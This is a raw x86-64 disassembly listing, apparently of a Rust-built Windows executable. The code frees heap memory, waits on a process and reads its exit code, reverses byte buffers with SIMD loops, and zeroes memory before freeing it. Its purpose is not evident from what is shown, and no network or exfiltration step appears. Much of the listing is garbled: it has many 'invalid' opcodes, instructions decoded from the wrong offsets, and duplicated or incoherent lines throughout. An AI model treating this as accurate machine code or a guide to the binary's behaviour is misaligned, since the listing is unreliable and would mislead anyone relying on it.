mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
shl r13, 0x20
cmp qword [rbp + 0x2f8], 0
je 0x14003542f
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
or r12, r13
cmp qword [rbp + 0x468], 0
jne 0x14003543c
jmp 0x14003544e
test r15, r15
je 0x14003601a
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [rbp + 0x2a8]
mov ecx, dword [rbp + 0x2ab]
mov dword [rbp + 0x423], ecx
mov dword [rbp + 0x420], eax
movabs rax, 0xffffffffff
and r12, rax
mov r15, qword [rbp + 0x470]
jmp 0x140033742
mov r13, qword [rbp + 0x178]
mov r12, qword [rbp + 0x180]
cmp qword [rbp + 0x2f8], 0
mov r15, qword [rbp + 0x470]
jne 0x140033db1
jmp 0x1400377ef
mov byte [rbp + 0x467], 0
lea rcx, [rbp + 0x2a8]
call fcn.140092850
test r15, r15
mov r12, qword [rbp + 0x450]
jne 0x1400375d1
mov rcx, r12
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
test eax, eax
je 0x14003625e
call qword [sym.imp.kernel32.dll_GetLastError]
mov r15d, eax
shl r15, 0x20
cmp qword [rbp + 0x428], 0
je 0x14003623c
mov r8, qword [rbp + 0x420]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
or r15, 2
cmp qword [rbp + 0x78], 0
je 0x14003625a
mov dword [rbp + 0xa0], 0
lea rdx, [rbp + 0xa0]
mov rcx, r12
call qword [sym.imp.kernel32.dll_GetExitCodeProcess]
test eax, eax
je 0x14003620f
mov rdi, qword [rbp + 0x70]
mov r15, qword [rbp + 0x78]
mov rax, qword [rbp + 0x420]
mov qword [rbp + 0x458], rax
mov r13, qword [rbp + 0x428]
mov r12, qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x450]
call r12
mov rcx, qword [rbp + 0x468]
call r12
test rdi, rdi
je 0x140036373
test r15, r15
je 0x1400362d4
cmp qword [rbx + 8], 0
je 0x14003631b
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi + 0x50], 0
je 0x140036347
mov r8, qword [rsi + 0x48]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rsi + 0x40], 0
mov rax, qword [rsi + 8]
test rax, rax
je 0x14003636b
mov r8, qword [rsi]
mov rcx, qword [0x1400f91f8]
xor r13d, r13d
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14003636e
xor r13d, r13d
jmp 0x140037719
mov r12, r15
mov r15, qword [rbp + 0x470]
lea rcx, [rbp + 0x2f0]
call fcn.14000aca0
movzx eax, byte [0x1400f92c0]
mov ecx, 8
mov edx, 8
call fcn.14003e500
test rax, rax
je 0x140037104
mov r13, rax
mov qword [rax], r12
cmp qword [rbx + 8], 0
je 0x1400363c7
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea r12, [0x1400b0c00]
cmp qword [rsi + 0x50], 0
jne 0x140035730
jmp 0x1400377ef
mov r15, qword [rbp + 0x470]
jmp 0x1400365c1
mov rcx, qword [0x1400f91f8]
mov rdi, qword [sym.imp.kernel32.dll_HeapFree]
xor edx, edx
mov r8, qword [rbp + 0x458]
call rdi
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x2a0]
call rdi
cmp ebx, 0x14
jne 0x1400367de
cmp qword [rbp + 0xc8], 5
jb 0x140036615
mov r8, qword [rbp + 0xb0]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0xf8], 5
jb 0x140036635
mov rax, qword [rbp + 0x2c8]
mov qword [rbp + 0x310], rax
movups xmm0, xmmword [rbp + 0x2a8]
movups xmm1, xmmword [rbp + 0x2b8]
movaps xmmword [rbp + 0x300], xmm1
movaps xmmword [rbp + 0x2f0], xmm0
movzx eax, byte [0x1400f92c0]
mov ecx, 0x48
mov edx, 8
call fcn.14003e500
mov r13, rax
test rax, rax
mov rax, qword [rbp + 0x468]
mov rcx, qword [rbp + 0x2e8]
je 0x1400376b8
mov qword [r13], rbx
mov qword [r13 + 8], rcx
mov qword [r13 + 0x10], rax
mov qword [r13 + 0x18], rax
mov rax, qword [rbp + 0x310]
mov qword [r13 + 0x40], rax
movdqa xmm0, xmmword [rbp + 0x2f0]
movdqa xmm1, xmmword [rbp + 0x300]
movdqu xmmword [r13 + 0x30], xmm1
movdqu xmmword [r13 + 0x20], xmm0
cmp qword [rbp + 0xc8], 5
jb 0x14003688f
add byte [rax - 0x75], cl
mov ebp, 0x458
mov rcx, rdi
xor r8d, r8d
call fcn.140009e30
mov rcx, rdi
call fcn.140009c80
mov rbx, rax
cmp qword [rbp + 0x448], 0x62
jae 0x1400369b1
mov ebp, 0x448
invalid
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov ebx, 3
add byte [rax], al
add byte [rax - 0x75], cl
test dword [rax + 4], ecx
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
test dword [rax + 4], ecx
add byte [rax], al
mov qword [rbp + 0x468], rax
jmp 0x1400365a8
add cl, ch
idiv ebx
invalid
mov rcx, qword [rbp + 0x448]
call fcn.14003e5b0
mov qword [rbp + 0x440], rax
test dword [rax + 4], eax
add byte [rax], al
test dword [rax + 4], eax
add byte [rax], al
test rax, rax
je 0x1400376c9
mov r15, qword [rbp + 0x440]
lea r13, [r15 + 1]
mov rdi, qword [rbp + 0x448]
lea r14, [rdi - 0x21]
mov rcx, qword [rbp + 0x2d8]
mov rdx, r13
call fcn.140064600
fadd qword [rdx]
add bl, dh
movq mm0, qword [rbx]
add al, 0
add byte [rbp + rcx*4 + 0x77], cl
fisttp word [rax - 0x75]
invalid
fadd qword [rdx]
add bl, dh
movq mm0, qword [rbx]
movdqu xmm1, xmmword [rbx + 0x10]
movdqu xmmword [r15 + 0x31], xmm1
movdqu xmmword [r15 + 0x21], xmm0
lea rcx, [rdi - 0x42]
cmp rcx, r14
jae 0x14003767b
mov rax, qword [rbp + 0x440]
lea rdi, [rax + 0x21]
mov rax, qword [rbp + 0x448]
lea rcx, [rax - 0x41]
lea ecx, [rax - 0x41]
lea ecx, [rax - 0x41]
mov byte [rdi + rax - 0x42], 1
cmp rcx, r14
ja 0x1400376dc
mov r12, qword [rbp + 0x448]
movups xmmword [rdi + r12 - 0x41], xmm6
movups xmmword [rdi + r12 - 0x31], xmm7
mov qword [rsp + 0x20], 0x20
mov rcx, rdi
mov rdx, r14
mov r15, qword [rbp + 0x2a0]
mov r8, r15
mov r9, r13
call case.0x14002f3a6.321
mov qword [rsp + 0x20], r14
mov edx, 0x20
mov rcx, r13
mov ecx, ebp
mov ecx, ebp
mov r8, r15
mov r9, rdi
call case.0x14002f3a6.321
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x1400f92c0]
mov edx, 1
mov rcx, r12
call fcn.14003e500
test rax, rax
je 0x1400376c9
mov rbx, rax
lea rdi, [rbp + 0xd0]
mov rcx, rax
mov rdx, qword [rbp + 0x440]
mov r14, qword [rbp + 0x448]
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r14
shr rcx, 1
mov rax, rcx
neg rax
mov rdx, rcx
and rdx, 0xfffffffffffffff0
lea r8, [r14 + rbx]
add r8, 0xfffffffffffffff0
xor r9d, r9d
pxor xmm0, xmm0
movdqu xmm1, xmmword [rbx + r9]
movdqu xmm2, xmmword [r8]
movdqa xmm3, xmm2
punpcklbw xmm3, xmm0
pshufd xmm3, xmm3, 0x4e
pshuflw xmm3, xmm3, 0x1b
pshufhw xmm3, xmm3, 0x1b
punpckhbw xmm2, xmm0
pshufd xmm2, xmm2, 0x4e
pshuflw xmm2, xmm2, 0x1b
pshufhw xmm2, xmm2, 0x1b
packuswb xmm2, xmm3
movdqu xmmword [rbx + r9], xmm2
movdqa xmm2, xmm1
punpcklbw xmm2, xmm0
pshufd xmm2, xmm2, 0x4e
pshuflw xmm2, xmm2, 0x1b
pshufhw xmm2, xmm2, 0x1b
punpckhbw xmm1, xmm0
pshufd xmm1, xmm1, 0x4e
pshuflw xmm1, xmm1, 0x1b
pshufhw xmm1, xmm1, 0x1b
packuswb xmm1, xmm2
movdqu xmmword [r8], xmm1
add r9, 0x10
add r8, 0xfffffffffffffff0
cmp rdx, r9
jne 0x140036af8
cmp rcx, rdx
je 0x140036c2d
test byte [rbp + 0x448], 0x10
jne 0x140036b8e
mov r8, rdx
jmp 0x140036bfe
mov r8, rcx
and r8, 0xfffffffffffffff8
mov r9, qword [rbp + 0x448]
sub r9, rdx
add r9, rbx
add r9, 0xfffffffffffffff8
pxor xmm0, xmm0
movq xmm1, qword [rbx + rdx]
movq xmm2, qword [r9]
punpcklbw xmm2, xmm0
pshufd xmm2, xmm2, 0x4e
pshuflw xmm2, xmm2, 0x1b
pshufhw xmm2, xmm2, 0x1b
packuswb xmm2, xmm2
movq qword [rbx + rdx], xmm2
adc esp, dword [rsi + 0xf]
invalid
enter 0xf66, 0x70
leave
pshuflw xmm1, xmm1, 0x1b
pshufhw xmm1, xmm1, 0x1b
packuswb xmm1, xmm1
movq qword [r9], xmm1
or dword [rax - 0x7d], ecx
ret 0x4908
add ecx, 0xfffffff8
cmp r8, rdx
jne 0x140036baa
adc esp, dword [rsi + 0xf]
invalid
or dword [rax - 0x7d], ecx
ret 0x4908
cmp rcx, r8
je 0x140036c2d
lea rcx, [rbx + r8]
neg r8
mov rdx, qword [rbp + 0x448]
add rdx, rbx
dec rdx
movzx r9d, byte [rcx]
movzx r10d, byte [rdx + r8]
mov byte [rcx], r10b
mov byte [rdx + r8], r9b
dec r8
inc rcx
cmp rax, r8
jne 0x140036c12
lea rcx, [rbp + 0x2f0]
mov rdx, rbx
mov r8, qword [rbp + 0x448]
add al, 0
add al, ch
pop rbp
invalid
add al, byte [rax]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movdqu xmm0, xmmword [rbp + 0x2f0]
movdqu xmm1, xmmword [rbp + 0x300]
movdqu xmm2, xmmword [rbp + 0x310]
movdqa xmmword [rbp + 0x170], xmm0
movdqa xmmword [rbp + 0x180], xmm1
movdqa xmmword [rbp + 0x190], xmm2
lea rcx, [rbp + 0x2f0]
add byte [rax - 0x73], cl
xchg ebp, eax
jo 0x140036c92
add byte [rax], al
add al, 0
add al, ch
pop rbp
invalid
add byte [rax - 0x73], cl
xchg ebp, eax
jo 0x140036c92
add byte [rax], al
add byte [rbp + rcx*4 - 0x73], cl
movabs al, byte [0x9ee8f88949000000]
mov eax, edi
call fcn.14005d340
lea r9, [rbp + 0xa0]
mov r8, rdi
mov eax, edi
mov eax, edi
call fcn.14005d340
cmp qword [rbp + 0x468], 5
jb 0x140036ccf
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
mov qword [rbp + 0x468], rcx
test rcx, rcx
je 0x140036cf8
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x68], rax
jmp 0x140036cd9
cmp qword [rbp + 0x468], 0
je 0x140036cf8
mov rax, qword [rbp + 0x468]
mov rcx, qword [rbp + 0x68]
mov rax, qword [rcx + rax*8 - 8]
test rax, rax
je 0x140036d03
bsr rax, rax
xor rax, 0x3f
jmp 0x140036d08
xor eax, eax
mov qword [rbp + 0x468], rax
jmp 0x140036d25
mov eax, 0x40
mov rcx, qword [rbp + 0x468]
shl rcx, 6
or rcx, 7
sub rcx, rax
shr rcx, 3
mov qword [rbp + 0x468], rcx
mov rax, qword [rbp + 0x318]
cmp rax, 5
jb 0x140036d39
mov rax, qword [rbp + 0x2f8]
test rax, rax
je 0x140036d7c
lea rcx, [rbp + 0x420]
lea rdx, [rbp + 0x2f0]
call fcn.140053910
mov r13, qword [rbp + 0x420]
mov rbx, qword [rbp + 0x430]
cmp rbx, 2
jb 0x140036f1d
movzx eax, byte [0x1400f92c0]
mov ebx, 1
add byte [rcx + 1], bh
add byte [rcx + 1], bh
mov edx, 1
call fcn.14003e500
test rax, rax
je 0x140037361
mov r13, rax
mov byte [rax], 0
mov qword [rbp + 0x428], 1
jmp 0x140036f1d
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.srcmain.rs
mov edx, 0x23
call fcn.1400a9e70
ud2
movzx r8d, byte [r13 + rcx]
movzx r9d, byte [r13 + rdx]
mov byte [r13 + rcx], r9b
or eax, 0x44884500
adc eax, 0xc1ff4800
or eax, 0x44884500
adc eax, 0xc1ff4800
dec rdx
cmp rax, rcx
jne 0x140036efc
mov r14, qword [rbp + 0x428]
mov rdi, qword [rbp + 0x468]
sub rdi, rbx
jae 0x140036f37
mov ebx, 0x12
jmp 0x140036f92
cmp qword [rbp + 0x468], 0
je 0x140036f6c
mov rcx, qword [rbp + 0x468]
call fcn.14003e5b0
mov qword [rbp + 0x2e8], rax
test rax, rax
add al, ch
invalid
jne 0x140036f78
mov ecx, 1
mov rdx, qword [rbp + 0x468]
call fcn.1400a9bd0
ud2
invalid
or edi, dword [rax + 1]
mov eax, 1
mov qword [rbp + 0x2e8], rax
add rdi, qword [rbp + 0x2e8]
mov rcx, rdi
mov rdx, r13
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
fsubr st(0)
pop rsi
test byte [rsi], 0
mov ebx, 0x14
test r14, r14
je 0x140036fa9
mov rcx, qword [0x1400f91f8]
and cl, byte [rax + rax]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x318], 5
jb 0x140036ff5
mov r8, qword [rbp + 0x300]
mov rcx, qword [0x1400f91f8]
add eax, dword [rax]
add byte [rax - 0x75], cl
or eax, 0xc2237
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x170]
call fcn.14005fd70
add al, byte [rax]
add al, byte [rax]
cmp qword [rbp + 0x198], 5
jae 0x14003700b
mov rax, qword [rbp + 0x448]
mov rcx, qword [rbp + 0x440]
and rax, 7
jne 0x140037035
jmp 0x14003704a
lea rcx, [rbp + 0x170]
call fcn.14005fd70
cmp qword [rbp + 0x198], 5
jb 0x140036fdf
mov r8, qword [rbp + 0x180]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x448]
test dword [rax + 4], ecx
add byte [rax], al
test dword [rax + 4], ecx
add byte [rax], al
mov rcx, qword [rbp + 0x440]
and rax, 7
je 0x14003704a
mov rdx, rax
mov rcx, qword [rbp + 0x440]
mov byte [rcx], 0
inc rcx
dec rdx
jne 0x14003703f
mov rdx, qword [rbp + 0x448]
mov r8, qword [rbp + 0x440]
add rdx, r8
mov byte [rcx], 0
mov byte [rcx + 1], 0
mov byte [rcx + 2], 0
mov byte [rcx + 3], 0
mov byte [rcx + 4], 0
mov byte [rcx + 5], 0
mov byte [rcx + 6], 0
mov byte [rcx + 7], 0
add rcx, 8
cmp rcx, rdx
jne 0x14003705b
mov rdx, qword [rbp + 0x448]
and rdx, 0xfffffffffffffff8
xor ecx, ecx
mov r8, qword [rbp + 0x440]
mov byte [r8 + rcx], 0
mov byte [r8 + rcx + 1], 0
mov byte [r8 + rcx + 2], 0
mov byte [r8 + rcx + 3], 0
mov byte [r8 + rcx + 4], 0
mov byte [r8 + rcx + 5], 0
mov byte [r8 + rcx + 6], 0
mov byte [r8 + rcx + 7], 0
add rcx, 8
cmp rdx, rcx
jne 0x140037097
test rax, rax
je 0x1400370e9
mov rdx, qword [rbp + 0x440]
add rdx, rcx
mov byte [rdx], 0
inc rdx
dec rax
jne 0x1400370de
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x440]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400365a8
mov ecx, 8
mov edx, 8
call fcn.1400a9bd0
ud2
mov ecx, 1
mov edx, 0x20
call fcn.1400a9bd0
ud2
mov ecx, 8
mov edx, 0x20
call fcn.1400a9bd0
ud2
mov al, 2
jmp 0x1400371b9
mov al, 2
jmp 0x14003720e
mov rax, qword [rbp + 0x2f0]
mov qword [rbp + 0x170], rax
jo 0x14003717e
add byte [rax], al
jo 0x14003717e
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x84192
lea rax, str.srcutilitiescatch.rs
jmp 0x140037432
call fcn.1400401e0
ud2
mov ecx, 8
mov edx, 0x50
call fcn.1400a9bd0
ud2
mov eax, dword [r13]
mov ecx, dword [r13 + 3]
mov dword [rbp + 0x173], ecx
mov dword [rbp + 0x170], eax
xor eax, eax
mov qword [rbp + 0x2f0], r15
mov qword [rbp + 0x2f8], r12
add byte [rax], al
mov qword [rbp + 0x300], r8
mov byte [rbp + 0x308], al
mov eax, dword [rbp + 0x170]
mov ecx, dword [rbp + 0x173]
mov dword [rbp + 0x309], eax
test dword [rcx], ecx
add eax, dword [rax]
add byte [rcx + 0x30c8d], cl
invalid
lea ecx, [rbx + rax]
add byte [rax], al
lea rax, str.srcmain.rs
jmp case.0x140026cbd.226
lea esi, [rbx + 1]
add byte [rax], al
mov dword [rbp + 0x170], eax
xor eax, eax
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], r15
mov qword [rbp + 0x300], r8
add byte [rax], al
mov byte [rbp + 0x308], al
mov eax, dword [rbp + 0x170]
mov ecx, dword [rbp + 0x173]
mov dword [rbp + 0x309], eax
or dword [rbx], eax
add byte [rax], al
mov dword [rbp + 0x30c], ecx
or al, 3
add byte [rax], al
lea rax, str.srcmain.rs
jmp case.0x140026cbd.226
add cl, ch
add rax, qword [rax]
add byte [rcx - 0x75], al
mov eax, dword [r13]
mov ecx, dword [r13 + 3]
mov dword [rbp + 0x173], ecx
mov dword [rbp + 0x170], eax
xor eax, eax
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], r15
mov qword [rbp + 0x300], r8
add eax, dword [rax]
invalid
mov eax, dword [r13]
mov ecx, dword [r13 + 3]
mov dword [rbp + 0x173], ecx
mov dword [rbp + 0x170], eax
xor eax, eax
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], r15
mov qword [rbp + 0x300], r8
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax + 0x30885], cl
mov byte [rbp + 0x308], al
mov eax, dword [rbp + 0x170]
mov ecx, dword [rbp + 0x173]
mov dword [rbp + 0x309], eax
mov dword [rbp + 0x30c], ecx
lea ecx, [rbx + rax]
add byte [rax], al
add byte [rbx + 0x17085], cl
add byte [rbx + 0x1738d], cl
add byte [rcx + 0x30985], cl
add byte [rcx + 0x30c8d], cl
lea ecx, [rbx + rax]
add byte [rax], al
lea rax, str.srcmain.rs
lea ecx, [rbx + rax]
add byte [rax], al
lea rax, str.srcmain.rs
jmp case.0x140026cbd.226
add byte [rcx - 0x75], al
add r9, qword [r9 + 0x1738d]
add dword [rax], eax
add dword [rax], eax
add byte [rcx + 0x17085], cl
add byte [rcx], dh
ror byte [rcx + rcx*4 - 0x5b], 0xf0
add al, byte [rax]
add byte [rax - 0x77], cl
popfq
clc
add al, byte [rax]
add byte [rcx + rcx*4 - 0x7b], cl
add byte [rbx], al
add byte [rax], al
mov byte [rbp + 0x308], al
mov eax, dword [rbp + 0x170]
mov ecx, dword [rbp + 0x173]
jae 0x1400372de
add byte [rax], al
add byte [rax], al
mov dword [rbp + 0x309], eax
mov dword [rbp + 0x30c], ecx
lea rax, str.srcmain.rs
jmp case.0x140026cbd.226
mov dword [rbp + 0x2f8], edi
mov qword [rbp + 0x300], r8
mov byte [rbp + 0x308], al
mov eax, dword [rbp + 0x170]
test dword [rax + 1], esi
add byte [rax], al
add byte [rbx + 0x17085], cl
add byte [rbx + 0x1738d], cl
lea esi, [rbx + 1]
add byte [rax], al
mov dword [rbp + 0x309], eax
mov dword [rbp + 0x30c], ecx
lea rax, str.srcmain.rs
test dword [rax + 1], esi
add byte [rax], al
mov ecx, dword [rbp + 0x173]
lea esi, [rbx + 1]
add byte [rax], al
mov dword [rbp + 0x309], eax
mov dword [rbp + 0x30c], ecx
lea rax, str.srcmain.rs
jmp case.0x140026cbd.226
mov ecx, 1
mov edx, 3
call fcn.1400a9bd0
ud2
mov ecx, 1
mov edx, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
call fcn.1400a9bd0
ud2
add byte [rdi], cl
or edi, dword [rcx + 8]
mov ecx, 8
mov edx, 0x40
call fcn.1400a9bd0
ud2
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.srcmain.rs
lea eax, [0x1400bbb50]
lea eax, [0x1400bbb50]
mov edx, 0x23
call fcn.1400a9e70
sub al, byte [rdi]
add byte [rdi], cl
invalid
xor eax, 0xba000846
and eax, dword [rax]
add byte [rax], al
call fcn.1400a9e70
ud2
movsd dword [rdi], dword [rsi]
invalid
sub al, byte [rdi]
add byte [rdi], cl
or ecx, dword [rax - 0x73]
or eax, 0x7a538
add byte [rbp + rcx*4 + 5], cl
sub dword [rdi + 8], eax
add byte [rdx + 0x23], bh
add byte [rbp + rcx*4 + 5], cl
sub dword [rdi + 8], eax
add byte [rdx + 0x23], bh
call fcn.1400a9e70
ud2
add ch, cl
mov dword [rax], 0x8b90000
or byte [rax], al
add byte [rax], al
mov edx, 0x70
or byte [rax], al
add byte [rax], al
mov edx, 0x70
call fcn.1400a9bd0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
or eax, dword [rax]
lea r8, str.srcutilities_fs.rs
mov edx, 0x2b
call fcn.1400a9e70
sub al, byte [rdi]
add byte [rdi], cl
invalid
sub al, byte [rdi]
add byte [rdi], cl
or ecx, dword [rax - 0x75]
test eax, esi
add al, byte [rax]
add byte [rax - 0x77], cl
test dword [rax + 1], esi
add byte [rax], al
mov rax, qword [rbp + 0x2f0]
mov qword [rbp + 0x170], rax
lea rax, str.srcutilitiescatch.rs
lea eax, [0x1400bb330]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400b1230]
invalid
add byte [rbp + rcx*4 - 0x7b], cl
jo case.0x14001b912.309
add byte [rax], al
invalid
jo case.0x14001b912.309
add byte [rax], al
add byte [rdx + 0x2b], bh
mov edx, 0x2b
call fcn.1400aa200
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str.srcutilitiescatch.rs
jb 0x140037469
add byte [rbp + rcx*4 + 5], cl
loop 0x1400374a2
or byte [rax], al
mov edx, 0x2b
add byte [rax], al
call fcn.1400a9e70
ud2
invalid
or ecx, dword [rax - 0x73]
or eax, 0xb71e7
invalid
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
add byte [rbp + rcx*4 + 5], cl
mov byte [rdi], bh
or byte [rax], al
invalid
lea r8, str.srcutilities_fs.rs
add byte [rdx + 0x2b], bh
mov edx, 0x2b
call fcn.1400a9e70
ud2
add ch, bl
jnp 0x14003744a
mov ecx, 2
add al, byte [rax]
add byte [rax], al
invalid
add byte [rcx + rcx*4 - 6], cl
mov rdx, r15
call fcn.1400a9bd0
ud2
lea rcx, [rbp + 0x309]
lea ecx, [rcx]
add eax, dword [rax]
add byte [rbx + 0x3498b01], cl
or dword [rbx], eax
add byte [rax], al
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rbp + 0xa3], ecx
mov dword [rbp + 0xa0], eax
xor eax, eax
mov qword [rbp + 0x2f0], r15
mov ebp, 0x2f0
mov ebp, 0x2f0
mov qword [rbp + 0x2f8], r12
mov qword [rbp + 0x300], r8
add eax, dword [rax]
add byte [rax + 0x30885], cl
add byte [rbx + 0xa085], cl
add byte [rbx + 0xa38d], cl
add byte [rax], al
add byte [rcx + 0x30985], cl
invalid
add eax, dword [rax]
add byte [rax + 0x30885], cl
add byte [rbx + 0xa085], cl
add byte [rbx + 0xa38d], cl
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x30985], cl
add byte [rcx + 0x30c8d], cl
add byte [rax - 0x73], cl
add eax, 0x7b01d
invalid
invalid
add byte [rax], al
mov dword [rbp + 0x30c], ecx
lea rax, [0x1400b2510]
invalid
invalid
invalid
jmp case.0x140026cbd.226
add ecx, dword [rcx + 0xa385]
add byte [rcx + 0xa08d], cl
add byte [rcx], dh
ror byte [rax - 0x77], 0x9d
lock add al, byte [rax]
add al, byte [rax]
add al, byte [rax]
add byte [rax - 0x77], cl
mov ebp, 0x2f8
mov qword [rbp + 0x300], r8
mov byte [rbp + 0x308], al
mov eax, dword [rbp + 0xa0]
add byte [rbx + 0xa38d], cl
add byte [rcx + 0x30985], cl
add byte [rcx + 0x30c8d], cl
add byte [rax - 0x73], cl
add eax, 0x83ee3
jrcxz 0x140037581
or byte [rax], al
add byte [rbx + 0xa38d], cl
add byte [rcx + 0x30985], cl
lea esp, [rbx - 0x77000000]
test dword [rcx], ecx
add eax, dword [rax]
add byte [rcx + 0x30c8d], cl
add byte [rax - 0x73], cl
add eax, 0x83ee3
jrcxz 0x140037581
or byte [rax], al
jrcxz 0x140037581
or byte [rax], al
jmp case.0x140026cbd.226
movdqu xmm0, xmmword [rbp + 0x170]
movdqu xmm1, xmmword [rbp + 0x180]
outsd dx, dword [rsi]
lea eax, [rax + 0x66000001]
movq qword [rbp + 0x300], mm1
outsd dx, dword [rsi]
lea eax, [rax + 0x66000001]
movq qword [rbp + 0x300], mm1
movdqa xmmword [rbp + 0x2f0], xmm0
lea rax, [0x1400b24e0]
jmp case.0x140026cbd.226
movdqu xmm0, xmmword [rbp + 0x170]
movdqu xmm1, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x300], xmm1
movq qword [rbp + 0x300], mm1
movdqa xmmword [rbp + 0x2f0], xmm0
lea rax, [0x1400b24f8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
and byte [rax - 0x73], cl
or eax, 0xb418d
lea r9, [0x1400b1270]
lea r8, [rbp + 0x2f0]
mov edx, 0x2b
call fcn.1400aa200
sub al, 7
add byte [rdi], cl
invalid
sub al, 7
add byte [rdi], cl
or ecx, dword [rbx + rcx*4 - 0x43]
js 0x1400375c3
mov r15, qword [rbp + 0x178]
add byte [rax], al
add byte [rax - 0x75], cl
lea ebx, [rax + 4]
add byte [rax], al
mov rcx, qword [rbp + 0x458]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov qword [rbp + 0x170], r15
lea rax, [0x1400e94a0]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140079f00
lea r8, [rbp + 0x170]
mov edx, 0x2b
call fcn.1400aa200
jmp case.0x140032048.2
mov rax, qword [rbp + 0x178]
test dword [rax + 1], edi
add byte [rax], al
mov qword [rbp + 0xa0], rax
lea rax, [0x1400e9470]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140079f00
push rbx
or dword [rbx], ecx
add byte [rbp + rcx*4 - 0x7b], cl
movabs al, byte [0x2bba000000]
push rbx
or dword [rbx], ecx
add byte [rbp + rcx*4 - 0x7b], cl
movabs al, byte [0x2bba000000]
call fcn.1400aa200
jmp case.0x140032048.2
invalid
add bl, ch
cmp dword [rax - 0x75], ecx
test dword [rax + 1], edi
add byte [rax], al
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0xa0], rax
lea rax, [0x1400e9488]
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
and al, 0x20
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140079f00
or dword [rbx], ecx
add byte [rbp + rcx*4 - 0x7b], cl
movabs al, byte [0x2bba000000]
or dword [rbx], ecx
add byte [rbp + rcx*4 - 0x7b], cl
movabs al, byte [0x2bba000000]
call fcn.1400aa200
ud2
lea r8, [0x1400b1108]
mov rdx, r14
call fcn.1400a9d70
ud2
lock add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0x7b025
jmp case.0x140026cbd.226
mov ecx, 8
mov edx, 0x48
call fcn.1400a9bd0
ud2
mov ecx, 1
mov rdx, qword [rbp + 0x448]
call fcn.1400a9bd0
ud2
lea r8, [0x1400b1120]
mov rdx, r14
call fcn.1400a9cf0
ud2
mov rcx, qword [0x1400f91f8]
or eax, 0xc1b04
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
or al, 0x8d
invalid
invalid
or al, 0x8d
invalid
mov byte [rsi + 0x40], 0
cmp qword [rsi + 8], 0
je 0x140037719
mov r8, qword [rsi]
mov eax, dword [rsi]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
